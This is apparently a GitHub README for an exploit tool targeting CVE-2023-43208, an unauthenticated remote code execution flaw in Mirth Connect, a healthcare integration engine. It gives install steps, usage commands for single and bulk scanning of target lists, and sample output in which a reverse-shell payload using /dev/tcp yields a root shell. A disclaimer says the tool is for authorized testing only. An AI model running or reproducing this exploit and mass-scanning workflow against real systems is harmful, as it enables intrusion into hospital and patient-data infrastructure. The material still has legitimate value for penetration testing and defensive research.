4nuxd/cve-2023-43208Unauthenticated RCE exploit for CVE-2023-43208 in Mirth Connect via XML deserialization, with version detection, bulk scanning, and interactive PTY shell.
Proof-of-Concept exploit for CVE-2023-43208, an unauthenticated Remote Code Execution vulnerability in Mirth Connect versions prior to
4.4.1.
Mirth Connect is a widely deployed open-source healthcare integration engine. This vulnerability leverages a Java deserialization flaw via the /api/users endpoint using a crafted XML payload chaining Apache Commons Collections gadgets to achieve unauthenticated RCE.
The enhanced version replaces the original pwncat listener with a fully dependency-free interactive PTY shell using Python builtins only (socket, select, , ). The shell is automatically upgraded to a full PTY on connection.
ttytermios| Software | Vulnerable Versions | Fixed Version |
|---|---|---|
| Mirth Connect | < 4.4.1 | 4.4.1+ |
python3/python/script fallback)stty rows/cols)pwncat dependency — stdlib only for the listenergit clone https://github.com/yourrepo/CVE-2023-43208
cd CVE-2023-43208
pip install -r requirements.txt
requests
packaging
rich
alive-progress
python3 CVE-2023-43208.py -u https://<TARGET> -lh <YOUR_IP> -lp <PORT>
python3 CVE-2023-43208.py -u https://<TARGET> -lh <YOUR_IP> -lp <NGROK_PORT> -bp <LOCAL_PORT>
python3 CVE-2023-43208.py -f targets.txt -t 50 -o vulnerable.txt
| Flag | Description |
|---|---|
-u, --url | Target URL |
-lh, --lhost | Your listening IP |
-lp, --lport | Your listening port |
-bp, --bindport | Bind port override (useful with ngrok) |
-f, --file | File containing list of target URLs |
-o, --output | Save vulnerable targets to file |
-t, --threads | Number of threads for scanning (default: 50) |
[*] Setting up listener on 10.10.15.202:4444 and launching exploit...
[*] Waiting for incoming connection on port 4444...
[*] Looking for Mirth Connect instance...
[+] Found Mirth Connect instance
[+] Vulnerable Mirth Connect version 4.4.0 instance found at https://10.129.5.3
[!] sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/...'
[*] Launching exploit against https://10.129.5.3...
[+] Received connection from 10.129.5.3:59640
[+] Shell opened! Upgrading to PTY...
root@mirth:/#
This tool is intended for authorized penetration testing and educational purposes only.
Unauthorized use against systems you do not own or have explicit permission to test is illegal.
The authors are not responsible for any misuse or damage caused by this tool.